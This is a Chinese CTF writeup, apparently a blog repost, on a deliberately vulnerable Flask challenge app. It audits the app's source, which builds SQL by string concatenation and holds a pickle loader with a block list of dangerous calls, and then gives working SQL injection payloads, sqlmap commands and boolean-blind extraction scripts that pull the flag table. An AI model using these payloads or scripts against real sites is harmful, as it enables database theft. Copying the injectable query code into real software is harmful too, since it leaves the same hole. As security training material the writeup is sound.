攻防世界 web高手进阶区 9分题 Web_python_flask_sql_injection

前言

继续ctf的旅程
开始攻防世界web高手进阶区的9分题
本文是Web_python_flask_sql_injection的writeup

解题过程

在这里插入图片描述
给了一堆源码
在这里插入图片描述
这是 Flask 框架的结构
正好根据题目这应该是个SSTI和sql注入的题

源码分析

看看源码先
主要是找跟数据库相关的可能存在注入的地方

1、error.py

from flask import render_template
from app import app, db_session


@app.errorhandler(404)
def not_found_error(error):
    return render_template('404.html'), 404


@app.errorhandler(500)
def internal_error(error):
    return render_template('500.html'), 500

这里注册了两个错误处理函数
在整个 app 发生 HTTP 404 或者 HTTP 500 错误时 , 返回特定的页面

在 Flask 框架中 , 使用 @app.errorhandler() 装饰器来注册错误处理函数
该装饰器可以传入一个 HTTP 错误状态码 , 或者是特定的异常类

2、forms.py

import re
from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, BooleanField, SubmitField
from wtforms.validators import ValidationError, DataRequired, Email, EqualTo
from app import mysql
from flask_login import current_user


class LoginForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired()])
    password = PasswordField('Password', validators=[DataRequired()])
    remember_me = BooleanField('Remember Me')
    submit = SubmitField('Sign In')


class RegistrationForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired()])
    email = StringField('Email', validators=[DataRequired(), Email()])
    password = PasswordField('Password', validators=[DataRequired()])
    password2 = PasswordField(
        'Repeat Password', validators=[DataRequired(), EqualTo('password')])
    submit = SubmitField('Register')

    def validate_username(self, username):
        if re.match("^[a-zA-Z0-9_]+$", username.data) == None:
            raise ValidationError('username has invalid charactor!')
        user = mysql.One("user", {
    
    "username": "'%s'" % username.data}, ["id"])
        if user != 0:
            raise ValidationError('Please use a different username.')

    def validate_email(self, email):
        user = mysql.One("user", {
    
    "email":  "'%s'" % email.data}, ["id"])
        if user != 0:
            raise ValidationError('Please use a different email address.')


class ResetPasswordRequestForm(FlaskForm):
    email = StringField('Email', validators=[DataRequired(), Email()])
    submit = SubmitField('Request Password Reset')


class ResetPasswordForm(FlaskForm):
    password = PasswordField('Password', validators=[DataRequired()])
    password2 = PasswordField(
        'Repeat Password', validators=[DataRequired(), EqualTo('password')])
    submit = SubmitField('Request Password Reset')


class EditProfileForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired()])
    note = StringField('About me', validators=[])
    submit = SubmitField('Submit')

    def __init__(self, original_username, *args, **kwargs):
        super(EditProfileForm, self).__init__(*args, **kwargs)
        self.original_username = original_username

    def validate_username(self, username):
        if re.match("^[a-zA-Z0-9_]+$", username.data) == None:
            raise ValidationError('username has invalid charactor!')

        if username.data == current_user.username:
            pass
        else:
            user = mysql.One(
                "user", {
    
    "username": "'%s'" % username.data}, ["id"])
            if user != 0:
                raise ValidationError('Please use a different username.')

    def validate_note(self, note):
        if re.match("^[a-zA-Z0-9_\'\(\) \.\_\*\`\-\@\=\+\>\<]*$", note.data) == None:
            raise ValidationError("Don't input invalid charactors!")


class PostForm(FlaskForm):
    post = StringField('Say something', validators=[DataRequired()])
    submit = SubmitField('Submit')

这里用了Flask-WTF

  • StringField : 表示字符串文本框
  • validators : 指定提交表单的验证顺序
  • DataRequired : 验证数据是否存在 , 不能为空
  • Email() : 验证数据是否符合最基本的邮件格式
  • PasswordField : 表示密码文本框 , 输入的内容不会直接以明文显示
  • EqualTo : 验证两个字段的值是否相等

RegistrationForm 类中定义了两个函数 , 分别用于验证用户名和邮箱是否可用

  • 先判断输入的用户名是否仅由字母数字下划线构成( 即是否存在特殊字符 )
    若正确则调用 Mysql.One 函数 , 判断该用户是否存在 , 若不存在则会抛出异常

  • 对用户输入的 Email 地址调用 mysql.One 函数 , 判断该邮箱地址是否已被注册
    这个验证过程与用户名的验证形成了鲜明的对比 , 很容易发现这里缺少了对邮箱地址的验证 , 只要用户输入的邮箱地址满足最基本的邮箱格式 , 该地址就会被带入数据库中查询

编辑个人档案时调用了数据库 , 但是输入字段 username 的值已经通过了正则过滤 , 因此应该不存在利用点

发送帖子的过程没有直接调用数据库

3、init.py

from flask import Flask
from flask_login import LoginManager
from flask_bootstrap import Bootstrap
from flask_moment import Moment

from config import Config
from sqlalchemy import create_engine
from sqlalchemy.orm import scoped_session, sessionmaker
from sqlalchemy.ext.declarative import declarative_base, DeferredReflection
from others import Mysql_Operate
from Mysessions import FileSystemSessionInterface
app = Flask(__name__)
app.config.from_object(Config)

engine = create_engine(
    app.config['SQLALCHEMY_DATABASE_URI'], convert_unicode=True)
db_session = scoped_session(sessionmaker(
    autocommit=False, autoflush=False, bind=engine))
Base = declarative_base(cls=DeferredReflection)
Base.query = db_session.query_property()
mysql = Mysql_Operate(Base, engine, db_session)

login = LoginManager(app)
login.login_view = 'login'
bootstrap = Bootstrap(app)
moment = Moment(app)

app.session_interface = FileSystemSessionInterface(
    app.config['SESSION_FILE_DIR'], app.config['SESSION_FILE_THRESHOLD'],
    app.config['SESSION_FILE_MODE'])

from app import routes, models, errors

这个文件主要用于控制包的导入和各类初始化行为

  • 框架和函数的导入
  • 初始化 Flask 应用
  • 初始化数据库连接

4、models.py

from datetime import datetime
from flask_login import UserMixin
from werkzeug.security import generate_password_hash, check_password_hash
from app import Base, login, mysql
from sqlalchemy import Column, Integer, String, Date, ForeignKey
from sqlalchemy.orm import relationship, backref


class Followers(Base):
    __tablename__ = 'followers'
    follower_id = Column('follower_id', Integer, ForeignKey('user.id'))
    followed_id = Column('followed_id', Integer, ForeignKey('user.id'))


class User(UserMixin, Base):
    __tablename__ = "user"
    id = Column(Integer, primary_key=True)
    username = Column(String(64), index=True, unique=True)
    email = Column(String(120), index=True, unique=True)
    password_hash = Column(String(128))
    posts = relationship('Post', backref='author', lazy='dynamic')
    note = Column(String(140))
    last_seen = Column(Date, default=datetime.utcnow)
    followed = relationship(
        'User', secondary=Followers,
        primaryjoin=(Followers.follower_id == id),
        secondaryjoin=(Followers.followed_id == id),
        backref=backref('Followers', lazy='dynamic'), lazy='dynamic')

    def __repr__(self):
        return '<User {}>'.format(self.username)

    def set_password(self, password):
        self.password_hash = generate_password_hash(password)

    def check_password(self, password):
        return check_password_hash(self.password_hash, password)

    def follow(self, user):
        if not self.is_following(user):
            return mysql.Add("followers", ("%d" % self.id, "%d" % user.id))

    def unfollow(self, user):
        if self.is_following(user):
            return mysql.Del("followers", {
    
    "follower_id": self.id, "followed_id": user.id})

    def is_following(self, user):
        res = mysql.One(
            'followers', {
    
    "followed_id": user.id, "follower_id": self.id})
        return True if (res != 0 and res != 1) else False

    def get_followers(self):
        return mysql.All('followers', {
    
    "followed_id": self.id}, ['follower_id'])

    def get_followed(self):
        return mysql.All('followers', {
    
    "follower_id": self.id}, ['followed_id'])

    def followed_posts(self):
        followedid = mysql.All(
            'followers', {
    
    "follower_id": self.id}, ['followed_id'])
        tmp = ""
        for i in followedid:
            tmp += str(i[0]) + ","
        followed = mysql.Sel('post', {
    
    
                             "user_id": "(%s)" % tmp[:-1]} if tmp[:-1] != "" else {
    
    "user_id": "(-1)"}, where_symbols="in")
        own = mysql.Sel('post', {
    
    "user_id": self.id}, order=["id desc"])
        posts = mysql.Unionall([followed, own])
        return posts


@login.user_loader
def load_user(id):
    msg = mysql.One("user", {
    
    "id": id})
    if msg != 0 and msg != -1:
        user = User(id=msg[0], username=msg[1], email=msg[2],
                    password_hash=msg[3], note=msg[4], last_seen=msg[5])
        return user
    else:
        return None


def load_user_by_username(username):
    msg = mysql.One("user", {
    
    "username": "'%s'" % username})
    if msg != 0 and msg != -1:
        user = User(id=msg[0], username=msg[1], email=msg[2],
                    password_hash=msg[3], note=msg[4], last_seen=msg[5])
        return user
    else:
        return msg


class Post(Base):
    __tablename__ = "post"
    id = Column(Integer, primary_key=True)
    body = Column(String(140))
    user_id = Column(Integer, ForeignKey('user.id'))
    timestamp = Column(Date, index=True, default=datetime.utcnow)

    def __repr__(self):
        return '<Post {}>'.format(self.body)

多次调用了 Column() 这个函数

  • 从导入规则来看 , 该函数位于 SQLAlchemy 库中
  • SQLAlchemy 是Python中的一个 ORM( Object-Relational Mapping , 把关系数据库的表结构映射到对象上 ) 框架
  • Column() 函数的主要作用 , 就是确定表结构 , 确定表中各字段对应的属性
  • 上图的内容也就是确定了 Column 对象和 User 对象中的各个属性,可以看作是表和表中字段的关系

定义了一堆函数针对用户的不同的操作调用不同的 SQL 语句 , 根据函数名很容易理解 .

两个load函数定义了 根据ID找到用户 和 根据用户名找到用户 两种方式
如果找到了具体用户 , 则将返回值一一对应到 User 类中

最后定义了 Post 类 , 该类用于确定发送帖子要包含的属性

5、others.py

#!flask/bin/python
from os import *
from sys import *
import datetime
from hashlib import md5
from pickle import Unpickler as Unpkler
from pickle import *


class Mysql_Operate():
    def __init__(self, Base, engine, dbsession):
        self.db_session = dbsession()
        self.Base = Base
        self.engine = engine

    def Add(self, tablename, values):
        sql = "insert into " + tablename + " "
        sql += "values ("
        sql += "".join(i + "," for i in values)[:-1]
        sql += ")"
        try:
            self.db_session.execute(sql)
            self.db_session.commit()
            return 1
        except:
            return 0

    def Del(self, tablename, where):
        sql = "delete from " + tablename + " "
        sql += "where " + \
            "".join(i + "=" + str(where[i]) + " and " for i in where)[:-4]
        try:
            self.db_session.execute(sql)
            self.db_session.commit()
            return 1
        except:
            return 0

    def Mod(self, tablemame, where, values):
        sql = "update " + tablemame + " "
        sql += "set " + \
            "".join(i + "=" + str(values[i]) + "," for i in values)[:-1] + " "
        sql += "where " + \
            "".join(i + "=" + str(where[i]) + " and " for i in where)[:-4]
        try:
            self.db_session.execute(sql)
            self.db_session.commit()
            return 1
        except:
            return 0

    def Sel(self, tablename, where={
    
    }, feildname=["*"], order="", where_symbols="=", l="and"):
        sql = "select "
        sql += "".join(i + "," for i in feildname)[:-1] + " "
        sql += "from " + tablename + " "
        if where != {
    
    }:
            sql += "where " + "".join(i + " " + where_symbols + " " +
                                      str(where[i]) + " " + l + " " for i in where)[:-4]
        if order != "":
            sql += "order by " + "".join(i + "," for i in order)[:-1]
        return sql

    def All(self, tablename, where={
    
    }, feildname=["*"], order="", where_symbols="=", l="and"):
        sql = self.Sel(tablename, where, feildname, order, where_symbols, l)
        try:
            res = self.db_session.execute(sql).fetchall()
            if res == None:
                return []
            return res
        except:
            return -1

    def One(self, tablename, where={
    
    }, feildname=["*"], order="", where_symbols="=", l="and"):
        sql = self.Sel(tablename, where, feildname, order, where_symbols, l)
        try:
            res = self.db_session.execute(sql).fetchone()
            if res == None:
                return 0
            return res
        except:
            return -1

    def Unionall(self, param):
        sql = "".join(i + " union " for i in param)[:-6]
        try:
            res = self.db_session.execute(sql).fetchall()
            if res == None:
                return []
            return res
        except:
            return -1

    def Unionone(self, param):
        sql = "".join(i + " union " for i in param)[:-6]
        try:
            res = self.db_session.execute(sql).fetchone()
            if res == None:
                return []
            return res
        except:
            return -1

    def Init_db(self):
        self.Base.metadata.create_all(self.engine)

    def Drop_db(self):
        self.Base.metadata.drop_all(self.engine)


def now():
    return datetime.datetime.utcnow().strftime("%Y-%m-%d")


def avatar(email, size):
    digest = md5(email.lower().encode('utf-8')).hexdigest()
    return 'https://www.gravatar.com/avatar/{}?d=identicon&s={}'.format(
        digest, size)


black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,
                   tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,
                   lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,
                   rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,
                   execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,
                   spawnv, spawnve, spawnvp, spawnvpe, load, loads]


class FilterException(Exception):

    def __init__(self, value):
        super(FilterException, self).__init__(
            'the callable object {value} is not allowed'.format(value=str(value)))


def _hook_call(func):
    def wrapper(*args, **kwargs):
        print args[0].stack
        if args[0].stack[-2] in black_type_list:
            raise FilterException(args[0].stack[-2])
        return func(*args, **kwargs)
    return wrapper


def load(file):
    unpkler = Unpkler(file)
    unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
    return Unpkler(file).load()

这里问题大了

  • Add , Del , Mod , Sel 就是对 Mysql 中 增(Insert) , 删(Delete) , 改(Update) , 查(Select) 四个操作的封装
    并且只进行了字段拼接的操作 , 而没有进行任何的过滤
  • Sel 语句只负责执行并提交拼接后的SQL查询语句 , 而不会接收数据库的返回信息
    如果想要获取SQL语句查询结果 , 就需要进一步封装该函数 .
  • All 和 One 两个函数就是对 Sel 操作的进一步封装 , 分别对 Select 查询结果调用了 fetchall() 函数和 fetchone() 函数
  • 然后是union查询

6、route.py

import re
from datetime import datetime
from flask import render_template, flash, redirect, url_for, request
from flask_login import login_user, logout_user, current_user, login_required
from werkzeug.urls import url_parse
from werkzeug.security import generate_password_hash
from app import app, mysql, db_session
from app.forms import LoginForm, RegistrationForm, EditProfileForm, PostForm
from app.models import load_user, load_user_by_username
from others import now, avatar
from itertools import izip


@app.before_request
def before_request():
    if current_user.is_authenticated:
        mysql.Mod('user', {
    
    "id": current_user.id},
                  {
    
    "last_seen": "'%s'" % now()})


@app.teardown_request
def shutdown_session(exception=None):
    db_session.remove()


@app.route('/', methods=['GET', 'POST'])
@app.route('/index', methods=['GET', 'POST'])
@login_required
def index():
    form = PostForm()
    if form.validate_on_submit():
        res = mysql.Add("post", ['NULL', "'%s'" % form.post.data,
                                 "'%s'" % current_user.id, "'%s'" % now()])
        if res == 1:
            flash('Your post is now live!')
            return redirect(url_for('index'))
    page = request.args.get('page', 1, type=int)
    all_posts = current_user.followed_posts()
    post_per_page = app.config['POSTS_PER_PAGE']
    posts = all_posts[(page - 1) * post_per_page:page * post_per_page if len(
        all_posts) >= page * post_per_page else len(all_posts)]
    next_url = url_for('explore', page=page + 1) \
        if len(all_posts) > page * post_per_page else None
    prev_url = url_for('explore', page=page - 1) \
        if (page > 1 and len(all_posts) > page * post_per_page) else None
    usernames = []
    for i in posts:
        usernames.append(load_user(i[2]))
    return render_template('index.html', title='Home', form=form,
                           posts=posts, next_url=next_url,
                           prev_url=prev_url, usernames=usernames, izip=izip, avatars=avatar, dt=datetime.strptime)


@app.route('/explore')
@login_required
def explore():
    page = request.args.get('page', 1, type=int)
    page = page if page > 0 else 1
    all_posts = mysql.All("post", order=["id desc"])
    post_per_page = app.config['POSTS_PER_PAGE']
    posts = all_posts[
        (page - 1) * post_per_page:page * post_per_page if len(all_posts) >= page * post_per_page else len(
            all_posts)]
    next_url = url_for('explore', page=page + 1) \
        if len(all_posts) > page * post_per_page else None
    prev_url = url_for('explore', page=page - 1) \
        if (page > 1 and len(all_posts) > (page - 1) * post_per_page) else None
    usernames = []
    for i in posts:
        usernames.append(load_user(i[2]))
    return render_template('index.html', title='Home',
                           posts=posts, usernames=usernames, next_url=next_url,
                           prev_url=prev_url, izip=izip, avatars=avatar, dt=datetime.strptime)


@app.route('/login', methods=['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))
    form = LoginForm()
    if form.validate_on_submit():
        user = load_user_by_username(form.username.data)
        if user == -1:
            flash('Something error!')
            return render_template('500.html'), 500
        if user == 0:
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        next_page = request.args.get('next')
        if not next_page or url_parse(next_page).netloc != '':
            next_page = url_for('index')
        return redirect(next_page)
    return render_template('login.html', title='Sign In', form=form)


@app.route('/logout')
def logout():
    logout_user()
    return redirect(url_for('index'))


@app.route('/register', methods=['GET', 'POST'])
def register():
    if current_user.is_authenticated:
        return redirect(url_for('index'))
    form = RegistrationForm()
    if form.validate_on_submit():
        res = mysql.Add("user", ["NULL", "'%s'" % form.username.data, "'%s'" % form.email.data,
                                 "'%s'" % generate_password_hash(form.password.data), "''", "'%s'" % now()])
        if res == 1:
            flash('Congratulations, you are now a registered user!')
            return redirect(url_for('login'))
    return render_template('register.html', title='Register', form=form)


@app.route('/user/<username>')
@login_required
def user(username):
    if re.match("^[a-zA-Z0-9_]+$", username) == None:
        return render_template('500.html'), 500
    user = load_user_by_username(username)
    if user == -1:
        flash('Something error!')
        return render_template('500.html'), 500
    if user == 0:
        flash('User is not exists')
        return redirect(url_for('index'))
    page = request.args.get('page', 1, type=int)
    page = page if page > 0 else 1
    all_posts = current_user.followed_posts()
    post_per_page = app.config['POSTS_PER_PAGE']
    posts = all_posts[
        (page - 1) * post_per_page:page * post_per_page if len(all_posts) >= page * post_per_page else len(
            all_posts)]
    next_url = url_for('user', username=user.username, page=page + 1) \
        if len(all_posts) > page * post_per_page else None
    prev_url = url_for('user', username=user.username, page=page - 1) \
        if (page > 1 and len(all_posts) > (page - 1) * post_per_page) else None
    usernames = []
    for i in posts:
        usernames.append(load_user(i[2]))
    return render_template('user.html', user=user, posts=posts, usernames=usernames,
                           next_url=next_url, prev_url=prev_url, izip=izip, avatars=avatar, dt=datetime.strptime)


@app.route('/edit_profile', methods=['GET', 'POST'])
@login_required
def edit_profile():
    form = EditProfileForm(current_user.username)
    if form.validate_on_submit():
        current_user.username = form.username.data
        current_user.note = form.note.data
        res = mysql.Mod("user", {
    
    "id": current_user.id}, {
    
    
                        "username": "'%s'" % current_user.username, "note": "'%s'" % current_user.note})
        if res != 0:
            flash('Your changes have been saved.')
        return redirect(url_for('edit_profile'))
    elif request.method == 'GET':
        form.username.data = current_user.username
        form.note.data = current_user.note
    return render_template('edit_profile.html', title='Edit Profile',
                           form=form)


@app.route('/follow/<username>')
@login_required
def follow(username):
    if re.match("^[a-zA-Z0-9_]+$", username) == None:
        return render_template('500.html'), 500
    user = load_user_by_username(username)
    if user == -1:
        flash('Something error!')
        return render_template('500.html'), 500
    if user == 0:
        flash('User is not exists')
        return redirect(url_for('index'))

    if user == current_user:
        flash('You cannot follow yourself!')
        return redirect(url_for('user', username=username))
    if current_user.follow(user):
        flash('You are following {}!'.format(username))
    else:
        flash('Failed!')
    return redirect(url_for('user', username=username))


@app.route('/unfollow/<username>')
@login_required
def unfollow(username):
    if re.match("^[a-zA-Z0-9_]+$", username) == None:
        return render_template('500.html'), 500
    user = load_user_by_username(username)
    if user == -1:
        flash('Something error!')
        return render_template('500.html'), 500
    if user == 0:
        flash('User is not exists')
        return redirect(url_for('index'))

    if user == current_user:
        flash('You cannot unfollow yourself!')
        return redirect(url_for('user', username=username))
    if current_user.unfollow(user):
        flash('You are not following {}.'.format(username))
    else:
        flash('Failed!')
    return redirect(url_for('user', username=username))

先判断当前用户是否登录
若已登录 , 则通过 Mod() 函数( 现在我们知道是 update 语句 )修改当前登录用户的最后登录时间

index 页面存在 POST 提交功能 , 当站点发现用户点击了 Submit 按钮后 , 就会调用 Add() 函数将用户写入的内容插入到数据库中 ,没有对 POST 内容进行任何过滤
index 页面可以调用 followed_posts() 函数显示当前用户和跟踪者的所有 POST

explore 页面会调用 All() 函数根据 id 字段降序展示所有的 POST
当查询返回的 POST 过多时 , 站点会逐页显示所有的内容

login页面会判断当前用户是否已登录 , 若用户已登录则直接跳转到 index 页面
然后通过调用 load_user_by_username() 函数判断用户填写的用户名是否存在 , 若存在无误后调用 login

Register页面先判断当前用户是否已经登录,若已登录则直接跳转到 index 页面
当用户成功提交注册表单时 , 站点会调用 Add() 函数将用户信息添加到数据库中,提示用户登录成功 , 并跳转到登录页面 .

用户页面会判断当前当问的用户是否存在 , 用户名是否合法等信息 .
确认无误后 , 调用 followed_posts() 函数显示当前用户和追踪者的所有 POST .
若查询的 POST 过多时 , 站点会逐页显示所有的 POST .

edit_profile页面,当用户点击提交按钮时 , 站点会先判断修改信息的是不是当前用户 , 若是则会调用 Mod() 函数更新用户对应的信息 .

注入点分析

看完源码
有以下几个可能的注入点

  • index 中 POST 没有过滤
  • 注册填写 Email 时的漏洞
  • edit_profile页面调用Mod()函数

下面开始尝试

对index的注入

在这里插入图片描述
看上面route.py里关于index的源码

在这里插入图片描述
主要是这部分
可以看到post的内容直接放进了数据库
且followed_posts() 函数会把当前用户的 POST 和追踪者的 POST 查询出来

补全一条数据然后注入

 1','1','2020-10-12'),(Null,(select database()),'1','2020-10-12')#

在这里插入图片描述
感动!
成功得到数据库flask

那就是正常sql注入了

 1','1','2020-10-12'),(Null,(select group_concat(table_name) from information_schema.tables where table_schema = 'flask'),'1','2020-10-12')#

在这里插入图片描述
出现flag表

 1','1','2020-10-12'),(Null,(select group_concat(column_name) from information_schema.columns where table_schema = 'flask' and table_name = 'flag'),'1','2020-10-12')#

在这里插入图片描述

 1','1','2020-10-12'),(Null,(select flag from flag),'1','2020-10-12')#

在这里插入图片描述
成功获取flag

对register的注入

事后看了看wp
官方给的是对register的注入

看上面form.py里

在这里插入图片描述
填写的 Email 字段没有进行任何验证 , 仅需要不为空和满足最基本的Email 格式即可 , 然后系统会将该值带入数据库中查询 , 来判断该 Email 是否已经被使用

尝试下这是个盲注
布尔或延时吧
sqlmap也可以

sqlmap.py -r test.txt -p email --prefix "123'" --suffix "#@qq.com" --dbms mysql 5.0 --dbs  -v 4 --tamper=space2comment -csrf-token="csrf_token"
sqlmap.py -r test.txt -p email --prefix "123'" --suffix "#@qq.com" --dbms mysql 5.0 -D flask -T flag -C "flag" --dump  -v 4 --tamper=space2comment -csrf-token="csrf_token"

官方脚本

import requests
from bs4 import BeautifulSoup

url = "http://127.0.0.1:8006/register"

r = requests.get(url)
soup = BeautifulSoup(r.text,"html5lib")
token = soup.find_all(id='csrf_token')[0].get("value")

notice = "Please use a different email address."
result = ""

database = "(SELECT/**/GROUP_CONCAT(schema_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.SCHEMATA)"
tables = "(SELECT/**/GROUP_CONCAT(table_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/TABLE_SCHEMA=DATABASE())"
columns = "(SELECT/**/GROUP_CONCAT(column_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME=0x666c616161616167)"
data = "(SELECT/**/GROUP_CONCAT(flag/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/flag)"


for i in range(1,100):
    for j in range(32,127):
        payload = "test'/**/or/**/ascii(substr("+  data +",%d,1))=%d#/**/@chybeta.com" % (i,j)
        post_data = {
    
    
            'csrf_token': token,
            'username': 'a',
            'email':payload,
            'password':'a',
            'password2':'a',
            'submit':'Register'
        }
        r = requests.post(url,data=post_data)
        soup = BeautifulSoup(r.text,"html5lib")
        token = soup.find_all(id='csrf_token')[0].get("value")
        if notice in r.text:
            result += chr(j)
            print result
            break

一个大佬的脚本

import requests
import re

url = "http://220.249.52.133:59790/register"
cookie= {
    
     "session":"5fdcfaa1-2489-40be-a983-a7e545f6f858" }
regexp1 = r'value="(.*)"'    # 正则表达式 , 用于捕获所有 value 字段的值
regexp2 = r'Please use a different email address.'    # 正则表达式 , 用于捕获所有的 Email 重复信息 

# 获取 csrf_token
def get_csrf_token():
    # 发送 GET 请求
    response = requests.get(url,cookies=cookie)
    # 获取 HTTP 响应数据包
    res = response.text
    # 进行正则匹配 , 发现返回列表中第一个 value 键值对就是 csrf_token 的值 , 获取它
    csrf_token = re.findall(regexp1, res)[0]
    #print(csrf_token)
    return csrf_token

# 发送修改 profile 的 post 数据包
def post_register():
    result = ""
    # 调用 get_csrf_token 函数 , 得到 csrf_token 数据包
    csrf_token = get_csrf_token()
    # 循环发送数据包
    # 构造 post 数据部
    # 猜测版本信息最长10位
    for i in range(1,43):
        # 猜测版本信息由可显字符组成( 31 < ASCII < 127 )
        for j in range(32,127):
            #具体的 Payload , 用户可自行更改
            # 爆出当前数据库( flask ) 
            #datas = {"csrf_token":csrf_token,"username":"a","email":"a'/*-*/or/*-*/1=(ASCII(MID((select database())," + str(i) + ",1))=" + str(j) + ")#@a.com","password":"a","password2":"a","submit":"register"}
            # 爆出当前数据库中的表 ( flag )
            #datas = {"csrf_token":csrf_token,"username":"a","email":"a'/*-*/or/*-*/1=(ASCII(MID((select group_concat(table_name) from information_schema.tables where table_schema = 'flask')," + str(i) + ",1))=" + str(j) + ")#@a.com","password":"a","password2":"a","submit":"register"}
            # 爆出 flag 表中的字段 ( flag )
            #datas = {"csrf_token":csrf_token,"username":"a","email":"a'/*-*/or/*-*/1=(ASCII(MID((select group_concat(column_name) from information_schema.columns where table_schema = 'flask' and table_name = 'flag')," + str(i) + ",1))=" + str(j) + ")#@a.com","password":"a","password2":"a","submit":"register"}
            # 爆出 flag 表中的字段 ( flag )
            datas = {
    
    "csrf_token":csrf_token,"username":"a","email":"a'/*-*/or/*-*/1=(ASCII(MID((select flag from flag)," + str(i) + ",1))=" + str(j) + ")#@a.com","password":"a","password2":"a","submit":"register"}
            response = requests.post(url,data=datas,cookies=cookie,timeout=3)
            res = response.text
            if regexp2 in response.text:
                result += chr(j)
                print(result)
                break
            
if __name__ == '__main__':
    post_register()

对edit_profile的注入

这个真是给师傅们跪了
看到正则过滤我就没想法了
结果看到大佬在这儿注入了

在这里插入图片描述
在这里插入图片描述

脚本

import requests
import re

url = "http://111.198.29.45:47709/edit_profile"
cookie= {
    
     "session":"b7ac39ee-d4f3-4780-90c9-c993cfc01da4" }
regexp = r'value="(.*)"'    # 正则表达式 , 用于捕获所有 value 字段的值

# 获取 csrf_token
def get_csrf_token():
    # 发送 GET 请求
    response = requests.get(url,cookies=cookie)
    # 获取 HTTP 响应数据包
    res = response.text
    # 进行正则匹配 , 发现返回列表中第一个 value 键值对就是 csrf_token 的值 , 获取它
    csrf_token = re.findall(regexp, res)[0]
    #print(csrf_token)
    return csrf_token

# 发送修改 profile 的 post 数据包
def post_profile():
    result = ""
    # 调用 get_csrf_token 函数 , 得到 csrf_token 数据包
    csrf_token = get_csrf_token()
    # 循环发送数据包
    # 构造 post 数据部
    # 猜测版本信息最长10位
    for i in range(1,43):
        # 猜测版本信息由可显字符组成( 31 < ASCII < 127 )
        for j in range(32,127):
            #具体的 Payload , 用户可自行选择
            # 1. 爆出当前数据库( flask ) 
            #datas = {"csrf_token":csrf_token,"username":"a","note":"1' and (select 1=(ascii(substring((select database()) from " + str(i) + "))=" + str(j) + ")) and '1'='1","submit":"submit"}
            # 2. 爆出含有 flag 的表( flag )
            #datas = {"csrf_token":csrf_token,"username":"a","note":"1' and (select 1=(ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema = 'flask') from " + str(i) + "))=" + str(j) + ")) and '1'='1","submit":"submit"}
            # 3. 爆出含有 flag 表中的字段 ( flag )
            #datas = {"csrf_token":csrf_token,"username":"a","note":"1' and (select 1=(ascii(substring((select group_concat(column_name) from information_schema.columns where table_schema = 'flask' and table_name = 'flag') from " + str(i) + "))=" + str(j) + ")) and '1'='1","submit":"submit"}
            # 4. 爆出 flag 值 ( flag ) , 建议将 i 的范围修改为 range(1,43)
            # 正则过滤了逗号 , 我们可以使用 substring(a from b) 这种格式取代 mid() 函数 , 从而绕过限制 .
            datas = {
    
    "csrf_token":csrf_token,"username":"a","note":"1' and (select 1=(ascii(substring((select flag from flag) from " + str(i) + "))=" + str(j) + ")) and '1'='1","submit":"submit"}
            response = requests.post(url,data=datas,cookies=cookie,timeout=3)
            res = response.text
            # 进行正则匹配 , 如果这里 select 1=payload 返回 1 时 , 返回数据包中的 note 字段就会显示为 1 , 反之为 0
            # 经过正则匹配 , 发现返回列表中第三个 value 键值对就是 note 的值 , 获取它
            test = re.findall(regexp, res)[2]
            #如果发现匹配的内容 , 则返回该ASCII编码对应的字符 , 并且跳出本次循环
            #print(test)
            if(test == str(1)):
                result += chr(j)
                print(result)
                break
            
if __name__ == '__main__':
    post_profile()

结语

结果发现是个代码审计+sql注入的题
跟SSTI没什么关系,不过用的是flask框架

关键是代码审计
量有点大的

最后的这个对edit_profile的注入有点凶的

猜你喜欢

转载自blog.csdn.net/weixin_44604541/article/details/109025678